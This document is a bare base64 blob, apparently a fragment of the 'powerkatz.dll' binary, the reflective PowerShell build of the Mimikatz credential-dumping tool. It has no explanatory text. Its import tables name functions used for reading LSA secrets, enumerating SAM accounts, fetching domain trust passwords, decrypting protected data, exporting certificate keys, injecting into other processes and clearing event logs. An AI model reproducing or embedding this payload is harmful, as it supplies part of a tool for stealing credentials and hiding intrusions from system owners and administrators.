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CgAAAAAAqE8KAJJPCgAAAAAApwAAgI4AAICFAACAKQAAgJMAAIBPAACAJAAAgBsAAIANAACAGgAAgH8AAIBNAACAkQAAgDUBAIAwAQCALQEAgDYAAIBJAACANgEAgNAAAIAAAAAAwlAKANZQCgD2UAoACFEKAB5RCgA2UQoASFEKAFpRCgBsUQoAAAAAAPZJCgAASgoADEoKABhKCgAqSgoA4kkKAAAAAACCVAoAZlQKAExUCgAAAAAAkFIKAKxSCgDAUgoA1lIKAOpSCgD+UgoAdFIKADpTCgBUUwoAdFMKAIZTCgCcUwoAslMKAMZTCgDmUwoACFQKADBUCgCWUQoAqlEKAMpRCgDiUQoAYFIKAD5SCgAuUgoAFlIKAP5RCgAYUwoAAAAAAKhKCgCWSgoAgkoKAAAAAADLAENyeXB0UmVsZWFzZUNvbnRleHQAwABDcnlwdEdlbktleQDGAENyeXB0R2V0UHJvdlBhcmFtAMQAQ3J5cHRHZXRIYXNoUGFyYW0AygBDcnlwdEltcG9ydEtleQAAzQBDcnlwdFNldEtleVBhcmFtAAC2AENyeXB0RGVzdHJveUhhc2gAAMwAQ3J5cHRTZXRIYXNoUGFyYW0AyABDcnlwdEhhc2hEYXRhALMAQ3J5cHRDcmVhdGVIYXNoAL8AQ3J5cHRFeHBvcnRLZXkAALQAQ3J5cHREZWNyeXB0AADUAlN5c3RlbUZ1bmN0aW9uMDA3ALkAQ3J5cHREdXBsaWNhdGVLZXkAugBDcnlwdEVuY3J5cHQAALEAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAMUAQ3J5cHRHZXRLZXlQYXJhbQAAsABDcnlwdEFjcXVpcmVDb250ZXh0QQAAtwBDcnlwdERlc3Ryb3lLZXkANgFHZXRMZW5ndGhTaWQAAHYAQ29weVNpZACdAUxzYUNsb3NlAAC9AUxzYU9wZW5Qb2xpY3kAxQFMc2FRdWVyeUluZm9ybWF0aW9uUG9saWN5AIMAQ3JlYXRlV2VsbEtub3duU2lkAAB8AENyZWF0ZVByb2Nlc3NBc1VzZXJXAAB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAG4CUmVnUXVlcnlWYWx1ZUV4VwAAUgJSZWdFbnVtVmFsdWVXAGECUmVnT3BlbktleUV4VwB+AlJlZ1NldFZhbHVlRXhXAABPAlJlZ0VudW1LZXlFeFcAaAJSZWdRdWVyeUluZm9LZXlXAAAwAlJlZ0Nsb3NlS2V5AO0CU3lzdGVtRnVuY3Rpb24wMzIAKQJRdWVyeVNlcnZpY2VTdGF0dXNFeAAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAgAFJc1RleHRVbmljb2RlAFoBR2V0VG9rZW5JbmZvcm1hdGlvbgCPAUxvb2t1cEFjY291bnROYW1lVwAAkQFMb29rdXBBY2NvdW50U2lkVwD3AU9wZW5Qcm9jZXNzVG9rZW4AAHQAQ29udmVydFN0cmluZ1NpZFRvU2lkVwAAqwFMc2FGcmVlTWVtb3J5ANMCU3lzdGVtRnVuY3Rpb24wMDYAvABDcnlwdEVudW1Qcm92aWRlclR5cGVzVwC+AENyeXB0RW51bVByb3ZpZGVyc1cAxwBDcnlwdEdldFVzZXJLZXkA9gFPcGVuRXZlbnRMb2dXAFMAQ2xlYXJFdmVudExvZ1cAAEMBR2V0TnVtYmVyT2ZFdmVudExvZ1JlY29yZHMAACcCUXVlcnlTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAAEMAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAAAgAUZyZWVTaWQAvwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAACAAQWxsb2NhdGVBbmRJbml0aWFsaXplU2lkAACBAENyZWF0ZVNlcnZpY2VXAADmAlN5c3RlbUZ1bmN0aW9uMDI1AMwBTHNhUmV0cmlldmVQcml2YXRlRGF0YQAAvwFMc2FPcGVuU2VjcmV0AMkBTHNhUXVlcnlUcnVzdGVkRG9tYWluSW5mb0J5TmFtZQDGAUxzYVF1ZXJ5U2VjcmV0AADOAlN5c3RlbUZ1bmN0aW9uMDAxANICU3lzdGVtRnVuY3Rpb24wMDUAVwFHZXRTaWRTdWJBdXRob3JpdHkAANoCU3lzdGVtRnVuY3Rpb24wMTMAWAFHZXRTaWRTdWJBdXRob3JpdHlDb3VudACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAJcBTG9va3VwUHJpdmlsZWdlVmFsdWVXAIYBSXNWYWxpZFNpZAAA/AFPcGVuVGhyZWFkVG9rZW4A3wBEdXBsaWNhdGVUb2tlbkV4AABRAENoZWNrVG9rZW5NZW1iZXJzaGlwAADBAlNldFRocmVhZFRva2VuAACMAENyZWRGcmVlAACJAENyZWRFbnVtZXJhdGVXAABBRFZBUEkzMi5kbGwAAAgAQ2VydEFkZEVuY29kZWRDZXJ0aWZpY2F0ZVRvU3RvcmUAAEAAQ2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQAABIAQ2VydENsb3NlU3RvcmUAABYBUEZYRXhwb3J0Q2VydFN0b3JlRXgAAGoAQ2VydFNldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AFcAQ2VydE9wZW5TdG9yZQDbAENyeXB0VW5wcm90ZWN0RGF0YQAAfQBDcnlwdEJpbmFyeVRvU3RyaW5nVwAA2QBDcnlwdFN0cmluZ1RvQmluYXJ5VwAAvQBDcnlwdFByb3RlY3REYXRhAAB6AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQCOAENyeXB0RXhwb3J0UHVibGljS2V5SW5mbwAALwBDZXJ0RW51bVN5c3RlbVN0b3JlAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAANIAQ3J5cHRTaWduQW5kRW5jb2RlQ2VydGlmaWNhdGUALABDZXJ0RW51bUNlcnRpZmljYXRlc0luU3RvcmUAhgBDcnlwdEVuY29kZU9iamVjdAA1AENlcnRGaW5kQ2VydGlmaWNhdGVJblN0b3JlAABLAENlcnRHZXROYW1lU3RyaW5nVwAARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAQ1JZUFQzMi5kbGwABgBDRExvY2F0ZUNoZWNrU3VtAAAMAE1ENUluaXQADQBNRDVVcGRhdGUACwBNRDVGaW5hbAAABQBDRExvY2F0ZUNTeXN0ZW0ABABDREdlbmVyYXRlUmFuZG9tQml0cwAAY3J5cHRkbGwuZGxsAAAQAERzR2V0RGNOYW1lVwAAZQBOZXRBcGlCdWZmZXJGcmVlAABORVRBUEkzMi5kbGwAABAAQ29DcmVhdGVJbnN0YW5jZQAAbABDb1VuaW5pdGlhbGl6ZQAAPwBDb0luaXRpYWxpemVFeAAAb2xlMzIuZGxsAE9MRUFVVDMyLmRsbAAAcQFScGNCaW5kaW5nU2V0T3B0aW9uAF8BUnBjQmluZGluZ0Zyb21TdHJpbmdCaW5kaW5nVwAA7gFScGNTdHJpbmdCaW5kaW5nQ29tcG9zZVcAAG4BUnBjQmluZGluZ1NldEF1dGhJbmZvRXhXAADyAVJwY1N0cmluZ0ZyZWVXAAB9AE1lc0hhbmRsZUZyZWUAfABNZXNFbmNvZGVJbmNyZW1lbnRhbEhhbmRsZUNyZWF0ZQAAeQBNZXNEZWNvZGVJbmNyZW1lbnRhbEhhbmRsZUNyZWF0ZQAAXQFScGNCaW5kaW5nRnJlZQAAfgBNZXNJbmNyZW1lbnRhbEhhbmRsZVJlc2V0APMATmRyTWVzVHlwZUVuY29kZTIA8QBOZHJNZXNUeXBlRGVjb2RlMgD0AE5kck1lc1R5cGVGcmVlMgDvAE5kck1lc1R5cGVBbGlnblNpemUyAAAgAElfUnBjQmluZGluZ0lucVNlY3VyaXR5Q29udGV4dAAAlQBOZHJDbGllbnRDYWxsMgAA+wFVdWlkQ3JlYXRlAABSUENSVDQuZGxsAAA6AFBhdGhDb21iaW5lVwAAOABQYXRoQ2Fub25pY2FsaXplVwBlAFBhdGhJc1JlbGF0aXZlVwBJAFBhdGhGaW5kRmlsZU5hbWVXAFsAUGF0aElzRGlyZWN0b3J5VwAAU0hMV0FQSS5kbGwAEwBTYW1FbnVtZXJhdGVVc2Vyc0luRG9tYWluAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluACEAU2FtT3BlblVzZXIAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAABwBTYW1Db25uZWN0AAAGAFNhbUNsb3NlSGFuZGxlAAAUAFNhbUZyZWVNZW1vcnkAJgBTYW1RdWVyeUluZm9ybWF0aW9uVXNlcgAgAFNhbU9wZW5Hcm91cAAAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAABAAU2FtRW51bWVyYXRlQWxpYXNlc0luRG9tYWluACwAU2FtUmlkVG9TaWQAHgBTYW1PcGVuQWxpYXMAABUAU2FtR2V0QWxpYXNNZW1iZXJzaGlwABIAU2FtRW51bWVyYXRlR3JvdXBzSW5Eb21haW4AABsAU2FtTG9va3VwRG9tYWluSW5TYW1TZXJ2ZXIAABoAU2FtR2V0TWVtYmVyc0luR3JvdXAAABkAU2FtR2V0TWVtYmVyc0luQWxpYXMAABgAU2FtR2V0R3JvdXBzRm9yVXNlcgBTQU1MSUIuZGxsAAAYAEZyZWVDb250ZXh0QnVmZmVyADQAUXVlcnlDb250ZXh0QXR0cmlidXRlc1cAJwBMc2FDb25uZWN0VW50cnVzdGVkACgATHNhRGVyZWdpc3RlckxvZ29uUHJvY2VzcwAmAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UAAC0ATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAAAqAExzYUZyZWVSZXR1cm5CdWZmZXIAU2VjdXIzMi5kbGwABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsAMMBSXNDaGFyQWxwaGFOdW1lcmljVwA+AUdldEtleWJvYXJkTGF5b3V0AFVTRVIzMi5kbGwAAAUASGlkRF9HZXRIaWRHdWlkAAEASGlkRF9GcmVlUHJlcGFyc2VkRGF0YQAADABIaWREX0dldFByZXBhcnNlZERhdGEAFQBIaWRQX0dldENhcHMAAAIASGlkRF9HZXRBdHRyaWJ1dGVzAABISUQuRExMAD8BU2V0dXBEaURlc3Ryb3lEZXZpY2VJbmZvTGlzdAAAQwFTZXR1cERpRW51bURldmljZUludGVyZmFjZXMAVgFTZXR1cERpR2V0Q2xhc3NEZXZzVwAAbgFTZXR1cERpR2V0RGV2aWNlSW50ZXJmYWNlRGV0YWlsVwAAU0VUVVBBUEkuZGxsAAAqAFNDYXJkTGlzdFJlYWRlcnNXABYAU0NhcmRHZXRDYXJkVHlwZVByb3ZpZGVyTmFtZVcAJABTQ2FyZExpc3RDYXJkc1cAMwBTQ2FyZFJlbGVhc2VDb250ZXh0AAwAU0NhcmRFc3RhYmxpc2hDb250ZXh0AAoAU0NhcmREaXNjb25uZWN0ABQAU0NhcmRHZXRBdHRyaWIAABMAU0NhcmRGcmVlTWVtb3J5AAgAU0NhcmRDb25uZWN0VwBXaW5TQ2FyZC5kbGwAAFdMREFQMzIuZGxsABUAUnRsRnJlZUFuc2lTdHJpbmcAIABSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAAWAFJ0bEZyZWVVbmljb2RlU3RyaW5nAAASAFJ0bERvd25jYXNlVW5pY29kZVN0cmluZwAAFABSdGxFcXVhbFVuaWNvZGVTdHJpbmcAHABSdGxJbml0VW5pY29kZVN0cmluZwAAAgBOdFF1ZXJ5T2JqZWN0ABgAUnRsR2V0Q29tcHJlc3Npb25Xb3JrU3BhY2VTaXplAAAPAFJ0bENvbXByZXNzQnVmZmVyAAUATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAABAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MAGQBSdGxHZXRDdXJyZW50UGViAAAQAFJ0bENyZWF0ZVVzZXJUaHJlYWQAFwBSdGxHVUlERnJvbVN0cmluZwAfAFJ0bFN0cmluZ0Zyb21HVUlEABoAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAADgBSdGxBcHBlbmRVbmljb2RlU3RyaW5nVG9TdHJpbmcAACIAUnRsVXBjYXNlVW5pY29kZVN0cmluZwAADQBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAAGAE50UmVzdW1lUHJvY2VzcwAMAFJ0bEFkanVzdFByaXZpbGVnZQAACwBOdFRlcm1pbmF0ZVByb2Nlc3MAAAoATnRTdXNwZW5kUHJvY2VzcwAACABOdFNldFN5c3RlbUVudmlyb25tZW50VmFsdWVFeAAEAE50UXVlcnlTeXN0ZW1FbnZpcm9ubWVudFZhbHVlRXgAAABOdEVudW1lcmF0ZVN5c3RlbUVudmlyb25tZW50VmFsdWVzRXgAABMAUnRsRXF1YWxTdHJpbmcAAG50ZGxsLmRsbAABAElfTmV0U2VydmVyUmVxQ2hhbGxlbmdlAAAASV9OZXRTZXJ2ZXJBdXRoZW50aWNhdGUyAAACAElfTmV0U2VydmVyVHJ1c3RQYXNzd29yZHNHZXQAAG5ldGFwaTMyLmRsbAAAJQFGaWxlVGltZVRvU3lzdGVtVGltZQAAwANSZWFkRmlsZQAAJQVXcml0ZUZpbGUARANMb2NhbEFsbG9jAACPAENyZWF0ZUZpbGVXALIEU2xlZXAAAgJHZXRMYXN0RXJyb3IAAMEEVGVybWluYXRlVGhyZWFkAFIAQ2xvc2VIYW5kbGUAtQBDcmVhdGVUaHJlYWQAAEgDTG9jYWxGcmVlADkBRmluZEZpcnN0RmlsZVcAAPEBR2V0RmlsZVNpemVFeABFAUZpbmROZXh0RmlsZVcAHQFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NXAC4BRmluZENsb3NlAOoBR2V0RmlsZUF0dHJpYnV0ZXNXAAC/AUdldEN1cnJlbnREaXJlY3RvcnlXAABXAUZsdXNoRmlsZUJ1ZmZlcnMAAMABR2V0Q3VycmVudFByb2Nlc3MA6ABEdXBsaWNhdGVIYW5kbGUAgANPcGVuUHJvY2VzcwDdAERldmljZUlvQ29udHJvbAAuBVdyaXRlUHJvY2Vzc01lbW9yeQAA7wRWaXJ0dWFsUHJvdGVjdAAA7ARWaXJ0dWFsRnJlZQDpBFZpcnR1YWxBbGxvYwAAZgRTZXRGaWxlUG9pbnRlcgAA8ARWaXJ0dWFsUHJvdGVjdEV4AADqBFZpcnR1YWxBbGxvY0V4AADDA1JlYWRQcm9jZXNzTWVtb3J5AO0EVmlydHVhbEZyZWVFeADxBFZpcnR1YWxRdWVyeQAA8gRWaXJ0dWFsUXVlcnlFeAAA1gRVbm1hcFZpZXdPZkZpbGUAjABDcmVhdGVGaWxlTWFwcGluZ1cAAFcDTWFwVmlld09mRmlsZQBLA0xvY2FsUmVBbGxvYwAAqABDcmVhdGVQcm9jZXNzVwAAcwRTZXRMYXN0RXJyb3IAAPkEV2FpdEZvclNpbmdsZU9iamVjdACpAENyZWF0ZVJlbW90ZVRocmVhZAAAJAFGaWxlVGltZVRvTG9jYWxGaWxlVGltZQCXAkdldFRpbWVGb3JtYXRXAAARBVdpZGVDaGFyVG9NdWx0aUJ5dGUAyAFHZXREYXRlRm9ybWF0VwAAFQBBcmVGaWxlQXBpc0FOU0kAzgRUcnlFbnRlckNyaXRpY2FsU2VjdGlvbgDNAkhlYXBDcmVhdGUAAM8CSGVhcEZyZWUAAO4ARW50ZXJDcml0aWNhbFNlY3Rpb24AAPsBR2V0RnVsbFBhdGhOYW1lVwAA6QJJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAAzwFHZXREaXNrRnJlZVNwYWNlVwCJA091dHB1dERlYnVnU3RyaW5nQQAAUgNMb2NrRmlsZQAAOQNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA4gJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAPgBR2V0RnVsbFBhdGhOYW1lQQAAUwRTZXRFbmRPZkZpbGUAANUEVW5sb2NrRmlsZUV4AACFAkdldFRlbXBQYXRoVwAAngBDcmVhdGVNdXRleFcAAKQCR2V0VmVyc2lvbkV4VwDXAkhlYXBWYWxpZGF0ZQAA1AJIZWFwU2l6ZQAAZwNNdWx0aUJ5dGVUb1dpZGVDaGFyAIQCR2V0VGVtcFBhdGhBAABeAUZvcm1hdE1lc3NhZ2VXAADMAUdldERpc2tGcmVlU3BhY2VBAOUBR2V0RmlsZUF0dHJpYnV0ZXNBAADnAUdldEZpbGVBdHRyaWJ1dGVzRXhXAACKA091dHB1dERlYnVnU3RyaW5nVwAAWgFGbHVzaFZpZXdPZkZpbGUAiABDcmVhdGVGaWxlQQD6BFdhaXRGb3JTaW5nbGVPYmplY3RFeACjAkdldFZlcnNpb25FeEEA0wBEZWxldGVGaWxlQQDWAERlbGV0ZUZpbGVXANICSGVhcFJlQWxsb2MAcwJHZXRTeXN0ZW1JbmZvAMsCSGVhcEFsbG9jAMwCSGVhcENvbXBhY3QAzgJIZWFwRGVzdHJveQDUBFVubG9ja0ZpbGUAAIkAQ3JlYXRlRmlsZU1hcHBpbmdBAABTA0xvY2tGaWxlRXgAAPABR2V0RmlsZVNpemUA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24AwQFHZXRDdXJyZW50UHJvY2Vzc0lkAEoCR2V0UHJvY2Vzc0hlYXAAAL0EU3lzdGVtVGltZVRvRmlsZVRpbWUAAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAdwJHZXRTeXN0ZW1UaW1lAF0BRm9ybWF0TWVzc2FnZUEAAKcDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAkwJHZXRUaWNrQ291bnQAAD8DTG9hZExpYnJhcnlXAABFAkdldFByb2NBZGRyZXNzAABiAUZyZWVMaWJyYXJ5ABgCR2V0TW9kdWxlSGFuZGxlVwAAsgFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAZAJHZXRTdGRIYW5kbGUAAJgCR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAAKAFGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcATQRTZXRDdXJyZW50RGlyZWN0b3J5VwAAMQRTZXRDb25zb2xlQ3Vyc29yUG9zaXRpb24AAA4DSXNXb3c2NFByb2Nlc3MAAMQBR2V0Q3VycmVudFRocmVhZAAAxQFHZXRDdXJyZW50VGhyZWFkSWQAAOcCSW5pdGlhbGl6ZVNMaXN0SGVhZAAAA0lzRGVidWdnZXJQcmVzZW50ANMEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAClBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBjAkdldFN0YXJ0dXBJbmZvVwAEA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAwARUZXJtaW5hdGVQcm9jZXNzAABLRVJORUwzMi5kbGwAAO4CSW50ZXJsb2NrZWRGbHVzaFNMaXN0ABgEUnRsVW53aW5kAOMCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudADFBFRsc0FsbG9jAADHBFRsc0dldFZhbHVlAMgEVGxzU2V0VmFsdWUAxgRUbHNGcmVlAD4DTG9hZExpYnJhcnlFeFcAAIYBR2V0Q29tbWFuZExpbmVBAIcBR2V0Q29tbWFuZExpbmVXABkBRXhpdFByb2Nlc3MAFwJHZXRNb2R1bGVIYW5kbGVFeFcAABMCR2V0TW9kdWxlRmlsZU5hbWVBAABoAUdldEFDUAAA8wFHZXRGaWxlVHlwZQBkAENvbXBhcmVTdHJpbmdXAAAtA0xDTWFwU3RyaW5nVwAAmgFHZXRDb25zb2xlQ1AAAKwBR2V0Q29uc29sZU1vZGUAAIcEU2V0U3RkSGFuZGxlAABpAkdldFN0cmluZ1R5cGVXAAAzAUZpbmRGaXJzdEZpbGVFeEEAAEMBRmluZE5leHRGaWxlQQAKA0lzVmFsaWRDb2RlUGFnZQA3AkdldE9FTUNQAAByAUdldENQSW5mbwDaAUdldEVudmlyb25tZW50U3RyaW5nc1cAAGEBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAVgRTZXRFbnZpcm9ubWVudFZhcmlhYmxlQQBnBFNldEZpbGVQb2ludGVyRXgAACQFV3JpdGVDb25zb2xlVwC+A1JlYWRDb25zb2xlVwAAygBEZWNv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